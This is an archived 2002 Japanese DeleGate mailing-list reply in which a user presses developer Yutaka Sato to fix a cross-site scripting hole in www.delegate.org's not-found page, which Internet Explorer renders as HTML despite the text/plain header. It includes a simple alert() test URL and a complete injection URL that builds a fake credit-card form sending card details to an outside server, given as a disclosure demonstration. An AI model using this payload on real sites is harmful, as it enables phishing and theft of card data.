Article delegate-en/1782 of [1-5169] on the server localhost:119
  upper oldest olders older1 this newer1 newers latest
search
[Top/Up] [oldest] - [Older+chunk] - [Newer+chunk] - [newest + Check]
[Reference:<_A1781@delegate-en.ML_>]
Newsgroups: mail-lists.delegate-en

[DeleGate-En] Re: Delegate.org のクロスサイトスクリプティング脆弱性
25 Jul 2002 01:27:00 GMT office <p6edabdyi-yavwm66xvvxr.ml@ml.delegate.org>


officeです

On Thu, 25 Jul 2002 02:26:29 +0900 (JST)
feedback@delegate.org (Yutaka Sato) wrote:

>  |>  |> http://www.delegate.org/<script>alert()</script>
>  |>  |> 
>  |>  |> といった、JavaScriptコードを含む存在しないページのURLを指定すること
>  |>  |> により not found 画面を出したとき、Internet Explorer で閲覧
>  |>  |> した場合には、JavaScriptが起動してしまいます。
>  |
>  |> Content-Type: text/plain
>  |> 
>  |> Not found:
>  |> SCRIPT_NAME=[]
>  |> PATH_INFO=[/<script>alert()</script>]
>  |> 
>  |> となります。Content-Type:text/plain ですので、その中に含まれている文字列
>  |> を解釈するブラウザがあるとしますと、それはブラウザ側の問題だと思います。
>  |
>  |仰る通り、Content-Typeを無視するのは、常識的に考えればブラウザの問題でしょう。
>  |しかし、現実にはInternet ExplorerとOperaという、一般ユーザが用いるメジャーな
>  |ブラウザの2種がContent-Typeを無視するのが現状です。
> 
> それらのブラウザの開発者は、それについてどう言っているのでしょう?

マイクロソフト社は「仕様だ」と言っているような噂を聞いていますが、実際に
「仕様」と言い切ったかどうかまで知りません。しかしこれまでに多くの開発者
やユーザがこのことをマイクロソフト社にクレームをつけていることは確かであ
り、そしてマイクロソフト社にそれを修正する意志が全くないことも確かです。

Opera Software ASAについては全く知りません。

> この問題が深刻であれば、修正の要求が殺到して、即刻対処されているのでは
> ないかと思うのですが。。。

殺到してますが、対処されないようです。マイクロソフト社はいつもそうです。

>  |このことにより、多くのWebアプリケーションのデバッグ表示に問題が発生してしま
>  |い、多くの開発者を悩ませているようです。実際非常にメジャーなアプリケーション
> 
> それは、潜在的なクロスサイトスクリプティング攻撃でなく、なにか実際の
> 問題が生じているということでしょうか?

私の理解できる範囲ではクロスサイトスクリプティング脆弱性がその「問題」
ですが、他の問題もあるようです。が、率直に言ってそれらの技術文書を読ん
でも、私の知識ではブラウザのcontent-typeの無視がセキュリティ問題に関与
しているらしい以外わかりません。

>  |しかし、良心的なネットワーク管理者、Web構築者中には、本質的にはブラウザが悪い
>  |ことを知りつつも、その理由を持ってしてあだらユーザを危険に陥れたくないと考え、
>  |この問題に対処する術を何とか模索し日夜格闘している人々がいます。
> 
> (まさかの時の安全のためにと)
> text/html でないコンテンツに、text/html でしか通じないエンコーディング
> を適用することの害はいろいろ有り得ます。たとえば「クライアントからの
> リクエストをナマでエコーする必要があるアプリケーション」が不可能になって
> しまうでしょう。偶然HTMLのタグと同じ文字列を含むテキストや、HTMLテキスト
> のソースをブラウザに解釈させず生で表示したりダウンロードするために、
> text/plain で送付するというようなこともできなくなります。
> (例えばuuencodeされたデータとか、翻訳の結果とか。。。)

しかし、少なくとも www.delegate.org の 404 エラー画面として、text/plain で
なければならない理由は見いだせませんが?

>  |1.悪いブラウザ開発者が悔い改めることを促すために、(一時的に?)ネットワー
>  |ク管理者とユーザの屍を築こうともポリシーを貫ぬく
> 
> この問題で実際に屍が築かれているでしょうか?

情報漏洩型のリスクについて、そのインシデント発生頻度、確率を推測すること
は不可能です。インシデント発生時のダメージの大きさのみ推測可能です。

また、ネットワーク管理者について言うならば、クロスサイトスクリプティング
脆弱性に腐心している方は大勢いらっしゃいますし、この手の問題の修正に首を
かけて対策しようとしている代理店の技術者も知っています。

また、もう一点。「実際に問題が発生しなければ」対応しないというのは、安全
管理の姿勢ではないでしょう。

> 世の中には非常に深刻な
> ウィルスが日常的に蔓延しており、実際に屍が累々となっています。そのような
> ウィルスに対して、自分のブラウザやメールリーダが抱える問題に無頓着な
> ユーザがいるでしょうか?ウィルス感染を放置しているブラウザやユーザは
> 誰かに守られるべきでしょうか?

問題をすり替えてはいけません。他に大きな危険があるからといって、自分の関
与しているリスク問題に目をつぶってよい理由にはなりません。

>  |2.本来あるべきアプリケーションの姿を曲げて、管理者の便宜を図り、ユーザを守る
>  |のどちらの選択肢をとられるでしょうか?
> 
> この件に関してたぶん有効性の高いのは、
> 第一に、ブラウザの開発者に修正を要求する

もちろん、そうですね。佐藤さんは、これに関してこれから何かなさいますか?

> 第二に、ブラウザの利用者にJavaScriptやJava機能を無効にするよう教育する

クロスサイトスクリプティング脆弱性の危険性について誤解がおありのようです。

見栄えとしては少々粗っぽい画面で、かつ www.delegate.orgのコンテンツとして
はかなり脈略のないものになりますが、Internet Explorer で(JavascriptとJava
の機能を無効にして)以下のURLにアクセスしてみてください。

http://www.delegate.org/><form/method="post"/action="http://www.office.ac/webform.cgi"><table><font/color=blue><b>Enter&nbsp;the&nbsp;Information&nbsp;about&nbsp;Your&nbsp;Cresit&nbsp;Card</b></font></table><p><table><tr><td/nowrap/valign=top><p/align=RIGHT>Card&nbsp;Name:</td><td/NOWRAP/width=200><p><input/type="text"/name="CardName"></td></tr><tr><td/nowrap/valign=top><p/align=RIGHT>Card&nbsp;Number:</td><td/NOWRAP/width=200><p><input/type="text"/name="CardNumber"></td></tr><tr><td/nowrap/valign=top><p/align=RIGHT>Card&nbsp;Limit</td><td/NOWRAP/width=200><p><input/type="text"/name="CardLimit">(yy/mm)</td></tr></table><input/type="submit"/value="Regist Now!"></form><!--

このようなことも可能です。偽の delegate ダウンロード用ページを作ることも
可能です。偽 delegate の Hash値 なども表示可能です。

> 第三に、スクリプトを署名付きにして現在アクセス中のサーバ起源であるもの
>     以外は実行しないようにする(という仕様にして実装を普及させる)
> というようなところかと思います。

仰ってることがよくわかりません。署名はどのように発行されるのでしょうか?
HTMLコンテンツ中にその署名がある、あるいはHTMLコンテンツからその署名が
呼び出されるというのなら、無意味に思えますが。

> クライアントのリクエストメッセージをそのままエコーするようなCGIは無数に
> 容易に生成され得ます。それを根絶するのは不可能ですよね。

個人が大した情報を扱わない自分のサイトで、安全性が保証されないようなサービ
スを展開している(ことが容易に推測できるような)状況の中では、どんな間抜け
で危険なCGIを公開していようとも、それは諦めざるをえません。

もしも、業務にも使われかねない広範囲に配布されているアプリケーションで敢え
て危険な仕様を放置されることが仮にあるとすれば、ユーザにとって有り難くあり
ません。

また、安易なcgi作成によるクロスサイトスクリプティング脆弱性についても「適切
な対応」が必要(つまりいくらでもあるからといって放置しておいてよいわけでは
ない)と一般には解されているようです。

(国の機関が発行する文書が偉いと思っているわけでは決してありませんが、)一
般的認識を推測しうるという観点から、経済産業省と情報処理振興事業協会セキュ
リティセンターのドキュメントを参照先としてあげておきます。
http://www.meti.go.jp/kohosys/press/0002035/
http://www.ipa.go.jp/security/ciadr/20011023css.html

>  |しかし、最低限、佐藤さんが開発者として、どのような方針でこの問題に対処しよう
>  |となさるのか、ここで宣言して戴くことは必要でしょう。そして、その宣言は、少な
>  |くとも delegateを運用している人々、delegateを介したWebアクセスを頻繁に行って
>  |いるような人々に広く知らされるべきだと私は考えます。
> 
> 上記のエラーメッセージは、SCRIPT_NAMEとかPATH_INFOとかから推察される
> こととおもいますが、(簡単な外部シェルスクリプトによる)CGIプログラム
> の出力ですので、DeleGateとは無関係です。
> また、1サイトとして www.delegate.org はCookieを発行していません。

了解しました。
もちろん、そのCGIプログラムは配布されているdelegateに(オプションやサンプ
ルとして含まれたりはしていませんね?

> また、これまでDeleGate自身が持つクロスサイトスクリプティング関連の問題
> につきましては、指摘に応じて修正して来ました。

了解しました。

メールへのご対応ありがとうございました。
今後とも宜しくお願いします。
-- 
office <p6edabdyi-yavwm66xvvxr.ml@ml.delegate.org>

  admin search upper oldest olders older1 this newer1 newers latest
[Top/Up] [oldest] - [Older+chunk] - [Newer+chunk] - [newest + Check]
@_@V